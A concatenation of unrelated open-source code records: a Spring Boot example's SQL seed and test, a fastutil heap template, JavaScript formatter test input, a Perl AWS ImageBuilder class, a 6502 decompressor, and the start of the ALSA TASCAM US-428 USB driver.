ResponseEntity.noContent().build();\n\t}\n}\n```\n---\n\n### /src/main/resources/application.properties\n\n```properties\n```\n---\n\n### /src/main/resources/data.sql\n\n```\ninsert into student\nvalues(10001,'Ranga', 'E1234567');\n\ninsert into student\nvalues(10002,'Ravi', 'A1234568');\n```\n---\n\n### /src/test/java/com/in28minutes/springboot/rest/example/SpringBoot2RestServiceApplicationTests.java\n\n```java\npackage com.in28minutes.springboot.rest.example;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBoot2RestServiceApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n```\n---\n"} +{"text": "/*\n * Copyright (C) 2003-2020 Paolo Boldi and Sebastiano Vigna\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n\npackage PACKAGE;\n\n#if KEY_CLASS_Object\nimport java.util.Comparator;\n#endif\n\nimport it.unimi.dsi.fastutil.ints.IntArrays;\n\n/** A class providing static methods and objects that do useful things with semi-indirect heaps.\n *\n *

    A semi-indirect heap is based on a reference array. Elements of\n * a semi-indirect heap are integers that index the reference array (note that\n * in an indirect heap you can also map elements of the reference\n * array to heap positions).\n */\n\npublic final class SEMI_INDIRECT_HEAPS {\n\n\tprivate SEMI_INDIRECT_HEAPS() {}\n\n\t/** Moves the given element down into the semi-indirect heap until it reaches the lowest possible position.\n\t *\n\t * @param refArray the reference array.\n\t * @param heap the semi-indirect heap (starting at 0).\n\t * @param size the number of elements in the heap.\n\t * @param i the index in the heap of the element to be moved down.\n\t * @param c a type-specific comparator, or {@code null} for the natural order.\n\t * @return the new position in the heap of the element of heap index {@code i}.\n\t */\n\n\tSUPPRESS_WARNINGS_KEY_UNCHECKED\n\tpublic static KEY_GENERIC int downHeap(final KEY_GENERIC_TYPE[] refArray, final int[] heap, final int size, int i, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tassert i < size;\n\n\t\tfinal int e = heap[i];\n\t\tfinal KEY_GENERIC_TYPE E = refArray[e];\n\t\tint child;\n\n\t\tif (c == null)\n\t\t\twhile ((child = (i << 1) + 1) < size) {\n\t\t\t\tint t = heap[child];\n\t\t\t\tfinal int right = child + 1;\n\t\t\t\tif (right < size && KEY_LESS(refArray[heap[right]], refArray[t])) t = heap[child = right];\n\t\t\t\tif (KEY_LESSEQ(E, refArray[t])) break;\n\t\t\t\theap[i] = t;\n\t\t\t\ti = child;\n\t\t\t}\n\t\telse\n\t\t\twhile ((child = (i << 1) + 1) < size) {\n\t\t\t\tint t = heap[child];\n\t\t\t\tfinal int right = child + 1;\n\t\t\t\tif (right < size && c.compare(refArray[heap[right]], refArray[t]) < 0) t = heap[child = right];\n\t\t\t\tif (c.compare(E, refArray[t]) <= 0) break;\n\t\t\t\theap[i] = t;\n\t\t\t\ti = child;\n\t\t\t}\n\n\t\theap[i] = e;\n\n\t\treturn i;\n\t}\n\n\t/** Moves the given element up in the semi-indirect heap until it reaches the highest possible position.\n\t *\n\t * @param refArray the reference array.\n\t * @param heap the semi-indirect heap (starting at 0).\n\t * @param size the number of elements in the heap.\n\t * @param i the index in the heap of the element to be moved up.\n\t * @param c a type-specific comparator, or {@code null} for the natural order.\n\t * @return the new position in the heap of the element of heap index {@code i}.\n\t */\n\n\tSUPPRESS_WARNINGS_KEY_UNCHECKED\n\tpublic static KEY_GENERIC int upHeap(final KEY_GENERIC_TYPE[] refArray, final int[] heap, final int size, int i, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tassert i < size;\n\n\t\tfinal int e = heap[i];\n\t\tfinal KEY_GENERIC_TYPE E = refArray[e];\n\n\t\tif (c == null)\n\t\t\twhile (i != 0) {\n\t\t\t\tfinal int parent = (i - 1) >>> 1;\n\t\t\t\tfinal int t = heap[parent];\n\t\t\t\tif (KEY_LESSEQ(refArray[t], E)) break;\n\t\t\t\theap[i] = t;\n\t\t\t\ti = parent;\n\t\t\t}\n\t\telse\n\t\t\twhile (i != 0) {\n\t\t\t\tfinal int parent = (i - 1) >>> 1;\n\t\t\t\tfinal int t = heap[parent];\n\t\t\t\tif (c.compare(refArray[t], E) <= 0) break;\n\t\t\t\theap[i] = t;\n\t\t\t\ti = parent;\n\t\t\t}\n\n\t\theap[i] = e;\n\n\t\treturn i;\n\t}\n\n\t/** Creates a semi-indirect heap in the given array.\n\t *\n\t * @param refArray the reference array.\n\t * @param offset the first element of the reference array to be put in the heap.\n\t * @param length the number of elements to be put in the heap.\n\t * @param heap the array where the heap is to be created.\n\t * @param c a type-specific comparator, or {@code null} for the natural order.\n\t */\n\n\tpublic static KEY_GENERIC void makeHeap(final KEY_GENERIC_TYPE[] refArray, final int offset, final int length, final int[] heap, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tARRAYS.ensureOffsetLength(refArray, offset, length);\n\t\tif (heap.length < length) throw new IllegalArgumentException(\"The heap length (\" + heap.length + \") is smaller than the number of elements (\" + length + \")\");\n\n\t\tint i = length;\n\t\twhile(i-- != 0) heap[i] = offset + i;\n\n\t\ti = length >>> 1;\n\t\twhile(i-- != 0) downHeap(refArray, heap, length, i, c);\n\t}\n\n\t/** Creates a semi-indirect heap, allocating its heap array.\n\t *\n\t * @param refArray the reference array.\n\t * @param offset the first element of the reference array to be put in the heap.\n\t * @param length the number of elements to be put in the heap.\n\t * @param c a type-specific comparator, or {@code null} for the natural order.\n\t * @return the heap array.\n\t */\n\n\tpublic static KEY_GENERIC int[] makeHeap(final KEY_GENERIC_TYPE[] refArray, final int offset, final int length, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tfinal int[] heap = length <= 0 ? IntArrays.EMPTY_ARRAY : new int[length];\n\t\tmakeHeap(refArray, offset, length, heap, c);\n\t\treturn heap;\n\t}\n\n\n\n\t/** Creates a semi-indirect heap from a given index array.\n\t *\n\t * @param refArray the reference array.\n\t * @param heap an array containing indices into {@code refArray}.\n\t * @param size the number of elements in the heap.\n\t * @param c a type-specific comparator, or {@code null} for the natural order.\n\t */\n\n\tpublic static KEY_GENERIC void makeHeap(final KEY_GENERIC_TYPE[] refArray, final int[] heap, final int size, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tint i = size >>> 1;\n\t\twhile(i-- != 0) downHeap(refArray, heap, size, i, c);\n\t}\n\n\t/** Retrieves the front of a heap in a given array.\n\t *\n\t *

    The front of a semi-indirect heap is the set of indices whose associated elements in the reference array\n\t * are equal to the element associated to the first index.\n\t *\n\t *

    In several circumstances you need to know the front, and scanning linearly the entire heap is not\n\t * the best strategy. This method simulates (using a partial linear scan) a breadth-first visit that\n\t * terminates when all visited nodes are larger than the element associated\n\t * to the top index, which implies that no elements of the front can be found later.\n\t * In most cases this trick yields a significant improvement.\n\t *\n\t * @param refArray the reference array.\n\t * @param heap an array containing indices into {@code refArray}.\n\t * @param size the number of elements in the heap.\n\t * @param a an array large enough to hold the front (e.g., at least long as {@code refArray}).\n\t * @return the number of elements actually written (starting from the first position of {@code a}).\n\t */\n\tSUPPRESS_WARNINGS_KEY_UNCHECKED\n\tpublic static KEY_GENERIC int front(final KEY_GENERIC_TYPE[] refArray, final int[] heap, final int size, final int[] a) {\n\t\tfinal KEY_GENERIC_TYPE top = refArray[heap[0]];\n\t\tint j = 0, // The current position in a\n\t\t\tl = 0, // The first position to visit in the next level (inclusive)\n\t\t\tr = 1, // The last position to visit in the next level (exclusive)\n\t\t\tf = 0; // The first position (in the heap array) of the next level\n\t\tfor(int i = 0; i < r; i++) {\n\t\t\tif (i == f) { // New level\n\t\t\t\tif (l >= r) break; // If we are crossing the two bounds, we're over\n\t\t\t\tf = (f << 1) + 1; // Update the first position of the next level...\n\t\t\t\ti = l; // ...and jump directly to position l\n\t\t\t\tl = -1; // Invalidate l\n\t\t\t}\n\t\t\tif (KEY_CMP_EQ(top, refArray[heap[i]])) {\n\t\t\t\ta[j++] = heap[i];\n\t\t\t\tif (l == -1) l = i * 2 + 1; // If this is the first time in this level, set l\n\t\t\t\tr = Math.min(size, i * 2 + 3); // Update r, but do not go beyond size\n\t\t\t}\n\t\t}\n\n\t\treturn j;\n\t}\n\n\t/** Retrieves the front of a heap in a given array using a given comparator.\n\t *\n\t *

    The front of a semi-indirect heap is the set of indices whose associated elements in the reference array\n\t * are equal to the element associated to the first index.\n\t *\n\t *

    In several circumstances you need to know the front, and scanning linearly the entire heap is not\n\t * the best strategy. This method simulates (using a partial linear scan) a breadth-first visit that\n\t * terminates when all visited nodes are larger than the element associated\n\t * to the top index, which implies that no elements of the front can be found later.\n\t * In most cases this trick yields a significant improvement.\n\t *\n\t * @param refArray the reference array.\n\t * @param heap an array containing indices into {@code refArray}.\n\t * @param size the number of elements in the heap.\n\t * @param a an array large enough to hold the front (e.g., at least long as {@code refArray}).\n\t * @param c a type-specific comparator.\n\t * @return the number of elements actually written (starting from the first position of {@code a}).\n\t */\n\tpublic static KEY_GENERIC int front(final KEY_GENERIC_TYPE[] refArray, final int[] heap, final int size, final int[] a, final KEY_COMPARATOR KEY_GENERIC c) {\n\t\tfinal KEY_GENERIC_TYPE top = refArray[heap[0]];\n\t\tint j = 0, // The current position in a\n\t\t\tl = 0, // The first position to visit in the next level (inclusive)\n\t\t\tr = 1, // The last position to visit in the next level (exclusive)\n\t\t\tf = 0; // The first position (in the heap array) of the next level\n\t\tfor(int i = 0; i < r; i++) {\n\t\t\tif (i == f) { // New level\n\t\t\t\tif (l >= r) break; // If we are crossing the two bounds, we're over\n\t\t\t\tf = (f << 1) + 1; // Update the first position of the next level...\n\t\t\t\ti = l; // ...and jump directly to position l\n\t\t\t\tl = -1; // Invalidate l\n\t\t\t}\n\t\t\tif (c.compare(top, refArray[heap[i]]) == 0) {\n\t\t\t\ta[j++] = heap[i];\n\t\t\t\tif (l == -1) l = i * 2 + 1; // If this is the first time in this level, set l\n\t\t\t\tr = Math.min(size, i * 2 + 3); // Update r, but do not go beyond size\n\t\t\t}\n\t\t}\n\n\t\treturn j;\n\t}\n}\n"} +{"text": "a||b\na || foo;\nfoo&&bar\n;(a||b);\n( a&&b&&c );\n\n\n// expressions\n;(a&&b) ||foo&&bar\n;((a&&b)||c)||d\n\n\n// test line break and indent\nif (true) {\n var b;this.foo&&this.bar();\n}\n\n(foo || bar); (dolor || amet);\n\nfoo = dolor ||\n amet &&\n bar\n\nvar foo = dolor &&\n amet ||\n maecennas\n\nvar foo,\n bar = x &&\n ( a || b );\n\nfunction x() {\n return (x || y) &&\n\n // comment\n call();\n}\n\n// issue #380\nlet property = property || {\n name: '111'\n}\nprop = prop || {\n foo: '111'\n}\n\n// issue #421\nlet foo = foo ||\n42;\n\nlet bar = bar() ||\n42;"} +{"text": "\npackage Paws::ImageBuilder::UpdateDistributionConfiguration;\n use Moose;\n has ClientToken => (is => 'ro', isa => 'Str', traits => ['NameInRequest'], request_name => 'clientToken', required => 1);\n has Description => (is => 'ro', isa => 'Str', traits => ['NameInRequest'], request_name => 'description');\n has DistributionConfigurationArn => (is => 'ro', isa => 'Str', traits => ['NameInRequest'], request_name => 'distributionConfigurationArn', required => 1);\n has Distributions => (is => 'ro', isa => 'ArrayRef[Paws::ImageBuilder::Distribution]', traits => ['NameInRequest'], request_name => 'distributions', required => 1);\n\n use MooseX::ClassAttribute;\n\n class_has _api_call => (isa => 'Str', is => 'ro', default => 'UpdateDistributionConfiguration');\n class_has _api_uri => (isa => 'Str', is => 'ro', default => '/UpdateDistributionConfiguration');\n class_has _api_method => (isa => 'Str', is => 'ro', default => 'PUT');\n class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::ImageBuilder::UpdateDistributionConfigurationResponse');\n1;\n\n### main pod documentation begin ###\n\n=head1 NAME\n\nPaws::ImageBuilder::UpdateDistributionConfiguration - Arguments for method UpdateDistributionConfiguration on L\n\n=head1 DESCRIPTION\n\nThis class represents the parameters used for calling the method UpdateDistributionConfiguration on the\nL service. Use the attributes of this class\nas arguments to method UpdateDistributionConfiguration.\n\nYou shouldn't make instances of this class. Each attribute should be used as a named argument in the call to UpdateDistributionConfiguration.\n\n=head1 SYNOPSIS\n\n my $imagebuilder = Paws->service('ImageBuilder');\n my $UpdateDistributionConfigurationResponse =\n $imagebuilder->UpdateDistributionConfiguration(\n ClientToken => 'MyClientToken',\n DistributionConfigurationArn => 'MyDistributionConfigurationArn',\n Distributions => [\n {\n Region => 'MyNonEmptyString', # min: 1, max: 1024\n AmiDistributionConfiguration => {\n AmiTags => {\n 'MyTagKey' =>\n 'MyTagValue', # key: min: 1, max: 128, value: max: 256\n }, # min: 1, max: 50; OPTIONAL\n Description => 'MyNonEmptyString', # min: 1, max: 1024\n LaunchPermission => {\n UserGroups => [\n 'MyNonEmptyString', ... # min: 1, max: 1024\n ], # OPTIONAL\n UserIds => [\n 'MyNonEmptyString', ... # min: 1, max: 1024\n ], # OPTIONAL\n }, # OPTIONAL\n Name => 'MyAmiNameString', # min: 1, max: 127; OPTIONAL\n }, # OPTIONAL\n LicenseConfigurationArns => [ 'MyArn', ... ], # OPTIONAL\n },\n ...\n ],\n Description => 'MyNonEmptyString', # OPTIONAL\n );\n\n # Results:\n my $ClientToken = $UpdateDistributionConfigurationResponse->ClientToken;\n my $DistributionConfigurationArn =\n $UpdateDistributionConfigurationResponse->DistributionConfigurationArn;\n my $RequestId = $UpdateDistributionConfigurationResponse->RequestId;\n\n# Returns a L object.\n\nValues for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.\nFor the AWS API documentation, see L\n\n=head1 ATTRIBUTES\n\n\n=head2 B ClientToken => Str\n\nThe idempotency token of the distribution configuration.\n\n\n\n=head2 Description => Str\n\nThe description of the distribution configuration.\n\n\n\n=head2 B DistributionConfigurationArn => Str\n\nThe Amazon Resource Name (ARN) of the distribution configuration that\nyou want to update.\n\n\n\n=head2 B Distributions => ArrayRef[L]\n\nThe distributions of the distribution configuration.\n\n\n\n\n=head1 SEE ALSO\n\nThis class forms part of L, documenting arguments for method UpdateDistributionConfiguration in L\n\n=head1 BUGS and CONTRIBUTIONS\n\nThe source code is located here: L\n\nPlease report bugs to: L\n\n=cut\n\n"} +{"text": ";\n; PB53 unpacker for 6502 systems\n; Copyright 2012 Damian Yerrick\n;\n; Copying and distribution of this file, with or without\n; modification, are permitted in any medium without royalty provided\n; the copyright notice and this notice are preserved in all source\n; code copies. This file is offered as-is, without any warranty.\n;\n;.export unpb53_some, PB53_outbuf, interbank_fetch, interbank_fetch_buf\n;.exportzp ciSrc, ciDst, ciBufStart, ciBufEnd\n\n.segment \"ZEROPAGE\"\nciSrc: .res 2\nciDst: .res 2\nciBufStart: .res 1\nciBufEnd: .res 1\nPB53_outbuf = $0200\n\n; the decompressor is less than 176 bytes, useful for loading into\n; RAM with a trampoline\n.segment \"CODE\"\n.proc unpb53_some\nctrlbyte = 0\nbytesLeft = 1\n ldx ciBufStart\nloop:\n ldy #0\n lda (ciSrc),y\n inc ciSrc\n bne :+\n inc ciSrc+1\n:\n cmp #$82\n bcc twoPlanes\n beq copyLastTile\n cmp #$84\n bcs solidColor\n\n ; at this point we're copying from the first stream to this one\n ; assuming that we're decoding two streams in parallel and the\n ; first stream's decompression buffer is PB53_outbuf[0:ciBufStart]\n txa\n sec\n sbc ciBufStart\n tay\ncopyTile_ytox:\n lda #16\n sta bytesLeft\nprevStreamLoop:\n lda PB53_outbuf,y\n sta PB53_outbuf,x\n inx\n iny\n dec bytesLeft\n bne prevStreamLoop\ntileDone:\n cpx ciBufEnd\n bcc loop\n rts\n\ncopyLastTile:\n txa\n cmp ciBufStart\n bne notAtStart\n lda ciBufEnd\nnotAtStart:\n sec\n sbc #16\n tay\n jmp copyTile_ytox\n\nsolidColor:\n pha\n jsr solidPlane\n pla\n lsr a\n jsr solidPlane\n jmp tileDone\n \ntwoPlanes:\n jsr onePlane\n ldy #0\n lda (ciSrc),y\n inc ciSrc\n bne :+\n inc ciSrc+1\n:\n cmp #$82\n bcs copyPlane0to1\n jsr onePlane\n jmp tileDone\n\ncopyPlane0to1:\n ldy #8\n and #$01\n beq noInvertPlane0\n lda #$FF\nnoInvertPlane0:\n sta ctrlbyte\ncopyPlaneLoop:\n lda a:PB53_outbuf-8,x\n eor ctrlbyte\n sta PB53_outbuf,x\n inx\n dey\n bne copyPlaneLoop\n jmp tileDone\n\nonePlane:\n ora #$00\n bpl pb8Plane\nsolidPlane:\n ldy #8\n and #$01\n beq solidLoop\n lda #$FF\nsolidLoop:\n sta PB53_outbuf,x\n inx\n dey\n bne solidLoop\n rts\n\npb8Plane:\n sec\n rol a\n sta ctrlbyte\n lda #$00\npb8loop:\n\n ; at this point:\n ; A: previous byte in this plane\n ; C = 0: copy byte from bitstream\n ; C = 1: repeat previous byte\n bcs noNewByte\n lda (ciSrc),y\n iny\nnoNewByte:\n sta PB53_outbuf,x\n inx\n asl ctrlbyte\n bne pb8loop\n clc\n tya\n adc ciSrc\n sta ciSrc\n bcc :+\n inc ciSrc+1\n:\n rts\n.endproc\n"} +{"text": "/*\n * usbusy2y.c - ALSA USB US-428 Driver\n *\n2005-04-14 Karsten Wiese\n\tVersion 0.8.7.2:\n\tCall snd_card_free() instead of snd_card_free_in_thread() to prevent oops with dead keyboard symptom.\n\tTested ok with kernel 2.6.12-rc2.\n\n2004-12-14 Karsten Wiese\n\tVersion 0.8.7.1:\n\tsnd_pcm_open for rawusb pcm-devices now returns -EBUSY if called without rawusb's hwdep device being open.\n\n2004-12-02 Karsten Wiese\n\tVersion 0.8.7:\n\tUse macro usb_maxpacket() for portability.\n\n2004-10-26 Karsten Wiese\n\tVersion 0.8.6:\n\twake_up() process waiting in usX2Y_urbs_start() on error.\n\n2004-10-21 Karsten Wiese\n\tVersion 0.8.5:\n\tnrpacks is runtime or compiletime configurable now with tested values from 1 to 4.\n\n2004-10-03 Karsten Wiese\n\tVersion 0.8.2:\n\tAvoid any possible racing while in prepare callback.\n\n2004-09-30 Karsten Wiese\n\tVersion 0.8.0:\n\tSimplified things and made ohci work again.\n\n2004-09-20 Karsten Wiese\n\tVersion 0.7.3:\n\tUse usb_kill_urb() instead of deprecated (kernel 2.6.9) usb_unlink_urb().\n\n2004-07-13 Karsten Wiese\n\tVersion 0.7.1:\n\tDon't sleep in START/STOP callbacks anymore.\n\tus428 channels C/D not handled just for this version, sorry.\n\n2004-06-21 Karsten Wiese\n\tVersion 0.6.4:\n\tTemporarely suspend midi input\n\tto sanely call usb_set_interface() when setting format.\n\n2004-06-12 Karsten Wiese\n\tVersion 0.6.3:\n\tMade it thus the following rule is enforced:\n\t\"All pcm substreams of one usX2Y have to operate at the same rate & format.\"\n\n2004-04-06 Karsten Wiese\n\tVersion 0.6.0:\n\tRuns on 2.6.5 kernel without any \"--with-debug=\" things.\n\tus224 reported running.\n\n2004-01-14 Karsten Wiese\n\tVersion 0.5.1:\n\tRuns with 2.6.1 kernel.\n\n2003-12-30 Karsten Wiese\n\tVersion 0.4.1:\n\tFix 24Bit 4Channel capturing for the us428.\n\n2003-11-27 Karsten Wiese, Martin Langer\n\tVersion 0.4:\n\tus122 support.\n\tus224 could be tested by uncommenting the sections containing USB_ID_US224\n\n2003-11-03 Karsten Wiese\n\tVersion 0.3:\n\t24Bit support. \n\t\"arecord -D hw:1 -c 2 -r 48000 -M -f S24_3LE|aplay -D hw:1 -c 2 -r 48000 -M -f S24_3LE\" works.\n\n2003-08-22 Karsten Wiese\n\tVersion 0.0.8:\n\tRemoved EZUSB Firmware. First Stage Firmwaredownload is now done by tascam-firmware downloader.\n\tSee:\n\thttp://usb-midi-fw.sourceforge.net/tascam-firmware.tar.gz\n\n2003-06-18 Karsten Wiese\n\tVersion 0.0.5:\n\tchanged to compile with kernel 2.4.21 and alsa 0.9.4\n\n2002-10-16 Karsten Wiese\n\tVersion 0.0.4:\n\tcompiles again with alsa-current.\n\tUSB_ISO_ASAP not used anymore (most of the time), instead\n\turb->start_frame is calculated here now, some calls inside usb-driver don't need to happen anymore.\n\n\tTo get the best out of this:\n\tDisable APM-support in the kernel as APM-BIOS calls (once each second) hard disable interrupt for many precious milliseconds.\n\tThis helped me much on my slowish PII 400 & PIII 500.\n\tACPI yet untested but might cause the same bad behaviour.\n\tUse a kernel with lowlatency and preemptiv patches applied.\n\tTo autoload snd-usb-midi append a line \n\t\tpost-install snd-usb-us428 modprobe snd-usb-midi\n\tto /etc/modules.conf.\n\n\tknown problems:\n\tsliders, knobs, lights not yet handled except MASTER Volume slider.\n \t\"pcm -c 2\" doesn't work. \"pcm -c 2 -m direct_interleaved\" does.\n\tKDE3: \"Enable full duplex operation\" deadlocks.\n\n\t\n2002-08-31 Karsten Wiese\n\tVersion 0.0.3: audio also simplex;\n\tsimplifying: iso urbs only 1 packet, melted structs.\n\tASYNC_UNLINK not used anymore: no more crashes so far.....\n\tfor alsa 0.9 rc3.\n\n2002-08-09 Karsten Wiese\n\tVersion 0.0.2: midi works with snd-usb-midi, audio (only fullduplex now) with i.e. bristol.\n\tThe firmware has been sniffed from win2k us-428 driver 3.09.\n\n * Copyright (c) 2002 - 2004 Karsten Wiese\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \"usx2y.h\"\n#include \"usbusx2y.h\"\n#include \"usX2Yhwdep.h\"\n\n\n\nMODULE_AUTHOR(\"Karsten Wiese \");\nMODULE_DESCRIPTION(\"TASCAM \"NAME_ALLCAPS\" Version 0.8.7.2\");\nMODULE_LICENSE(\"GPL\");\nMODULE_SUPPORTED_DEVICE(\"{{TASCAM(0x1604),\"NAME_ALLCAPS\"(0x8001)(0x8005)(0x8007)}}\");\n\nstatic int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-max */\nstatic char* id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* Id for this card */\nstatic bool enable[SNDRV_CARDS] = SNDRV_DEFAULT_ENABLE_PNP; /* Enable this card */\n\nmodule_param_array(index, int, NULL, 0444);\nMODULE_PARM_DESC(index, \"Index value for \"NAME_ALLCAPS\".\");\nmodule_param_array(id, charp, NULL, 0444);\nMODULE_PARM_DESC(id, \"ID string for \"NAME_ALLCAPS\".\");\nmodule_param_array(enable, bool, NULL, 0444);\nMODULE_PARM_DESC(enable, \"Enable \"NAME_ALLCAPS\".\");\n\n\nstatic int snd_usX2Y_card_used[SNDRV_CARDS];\n\nstatic void usX2Y_usb_disconnect(struct usb_device* usb_device, void* ptr);\nstatic void snd_usX2Y_card_private_free(struct snd_card *card);\n\n/* \n * pipe 4 is used for switching the lamps, setting samplerate, volumes .... \n */\nstatic void i_usX2Y_Out04Int(struct urb *urb)\n{\n#ifdef CONFIG_SND_DEBUG\n\tif (urb->status) {\n\t\tint \t\ti;\n\t\tstruct usX2Ydev *usX2Y = urb->context;\n\t\tfor (i = 0; i < 10 && usX2Y->AS04.urb[i] != urb; i++);\n\t\tsnd_printdd(\"i_usX2Y_Out04Int() urb %i status=%i\\n\", i, urb->status);\n\t}\n#endif\n}\n\nstatic void i_usX2Y_In04Int(struct urb *urb)\n{\n\tint\t\t\terr = 0;\n\tstruct usX2Ydev\t\t*usX2Y = urb->context;\n\tstruct us428ctls_sharedmem\t*us428ctls = usX2Y->us428ctls_sharedmem;\n\n\tusX2Y->In04IntCalls++;\n\n\tif (urb->status) {\n\t\tsnd_printdd(\"Interrupt Pipe 4 came back with status=%i\\n\", urb->status);\n\t\treturn;\n\t}\n\n\t//\tprintk(\"%i:0x%02X \", 8, (int)((unsigned char*)usX2Y->In04Buf)[8]); Master volume shows 0 here if fader is at max during boot ?!?\n\tif (us428ctls) {\n\t\tint diff = -1;\n\t\tif (-2 == us428ctls->CtlSnapShotLast) {\n\t\t\tdiff = 0;\n\t\t\tmemcpy(usX2Y->In04Last, usX2Y->In04Buf, sizeof(usX2Y->In04Last));\n\t\t\tus428ctls->CtlSnapShotLast = -1;\n\t\t} else {\n\t\t\tint i;\n\t\t\tfor (i = 0; i < 21; i++) {\n\t\t\t\tif (usX2Y->In04Last[i] != ((char*)usX2Y->In04Buf)[i]) {\n\t\t\t\t\tif (diff < 0)\n\t\t\t\t\t\tdiff = i;\n\t\t\t\t\tusX2Y->In04Last[i] = ((char*)usX2Y->In04Buf)[i];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (0 <= diff) {\n\t\t\tint n = us428ctls->CtlSnapShotLast + 1;\n\t\t\tif (n >= N_us428_ctl_BUFS || n < 0)\n\t\t\t\tn = 0;\n\t\t\tmemcpy(us428ctls->CtlSnapShot + n, usX2Y->In04Buf, sizeof(us428ctls->CtlSnapShot[0]));\n\t\t\tus428ctls->CtlSnapShotDiffersAt[n] = diff;\n\t\t\tus428ctls->CtlSnapShotLast = n;\n\t\t\twake_up(&usX2Y->us428ctls_wait_queue_head);\n\t\t}\n\t}\n\t\n\t\n\tif (usX2Y->US04) {\n\t\tif (0 == usX2Y->US04->submitted)\n\t\t\tdo {\n\t\t\t\terr = usb_submit_urb(usX2Y->US04->urb[usX2Y->US04->submitted++], GFP_ATOMIC);\n\t\t\t} while (!err && usX2Y->US04->submitted < usX2Y->US04->len);\n\t} else\n\t\tif (us428ctls && us428ctls->p4outLast >= 0 && us428ctls->p4outLast < N_us428_p4out_BUFS) {\n\t\t\tif (us428ctls->p4outLast != us428ctls->p4outSent) {\n\t\t\t\tint j, send = us428ctls->p4outSent + 1;\n\t\t\t\tif (send >= N_us428_p4out_BUFS)\n\t\t\t\t\tsend = 0;\n\t\t\t\tfor (j = 0; j < URBS_AsyncSeq && !err; ++j)\n\t\t\t\t\tif (0 == usX2Y->AS04.urb[j]->status) {\n\t\t\t\t\t\tstruct us428_p4out *p4out = us428ctls->p4out + send;\t// FIXME if more than 1 p4out is new, 1 gets lost.\n\t\t\t\t\t\tusb_fill_bulk_urb(usX2Y->AS04.urb[j], usX2Y->dev,\n\t\t\t\t\t\t\t\t usb_sndbulkpipe(usX2Y->dev, 0x04), &p4out->val.vol,\n\t\t\t\t\t\t\t\t p4out->type == eLT_Light ? sizeof(struct us428_lights) : 5,\n\t\t\t\t\t\t\t\t i_usX2Y_Out04Int, usX2Y);\n\t\t\t\t\t\terr = usb_submit_urb(usX2Y->AS04.urb[j], GFP_ATOMIC);\n\t\t\t\t\t\tus428ctls->p4outSent = send;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tif (err)\n\t\tsnd_printk(KERN_ERR \"In04Int() usb_submit_urb err=%i\\n\", err);\n\n\turb->dev = usX2Y->dev;\n\tusb_submit_urb(urb, GFP_ATOMIC);\n}\n\n/*\n * Prepare some urbs\n */\nint usX2Y_AsyncSeq04_init(struct usX2Ydev *usX2Y)\n{\n\tint\terr = 0,\n\t\ti;\n\n\tif (NULL == (usX2Y->AS04.buffer = kmalloc(URB_DataLen_AsyncSeq*URBS_AsyncSeq, GFP_KERNEL))) {\n\t\terr = -ENOMEM;\n\t} else\n\t\tfor (i = 0; i < URBS_AsyncSeq; ++i) {\n\t\t\tif (NULL == (usX2Y->AS04.urb[i] = usb_alloc_urb(0, GFP_KERNEL))) {\n\t\t\t\terr = -ENOMEM;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tusb_fill_bulk_urb(\tusX2Y->AS04.urb[i], usX2Y->dev,\n\t\t\t\t\t\tusb_sndbulkpipe(usX2Y->dev, 0x04),\n\t\t\t\t\t\tusX2Y->AS04.buffer + URB_DataLen_AsyncSeq*i, 0,\n\t\t\t\t\t\ti_usX2Y_Out04Int, usX2Y\n\t\t\t\t);\n\t\t}\n\treturn err;\n}\n\nint usX2Y_In04_init(struct usX2Ydev *usX2Y)\n{\n\tif (! (usX2Y->In04urb = usb_alloc_urb(0, GFP_KERNEL)))\n\t\treturn -ENOMEM;\n\n\tif (! (usX2Y->In04Buf = kmalloc(21, GFP_KERNEL))) {\n\t\tusb_free_urb(usX2Y->In04urb);\n\t\treturn -ENOMEM;\n\t}\n\t \n\tinit_waitqueue_head(&usX2Y->In04WaitQueue);\n\tusb_fill_int_urb(usX2Y->In04urb, usX2Y->dev, usb_rcvintpipe(usX2Y->dev, 0x4),\n\t\t\t usX2Y->In04Buf, 21,\n\t\t\t i_usX2Y_In04Int, usX2Y,\n\t\t\t 10);\n\treturn usb_submit_urb(usX2Y->In04urb, GFP_KERNEL);\n}\n\nstatic void usX2Y_unlinkSeq(struct snd_usX2Y_AsyncSeq *S)\n{\n\tint\ti;\n\tfor (i = 0; i < URBS_AsyncSeq; ++i) {\n\t\tusb_kill_urb(S->urb[i]);\n\t\tusb_free_urb(S->urb[i]);\n\t\tS->urb[i] = 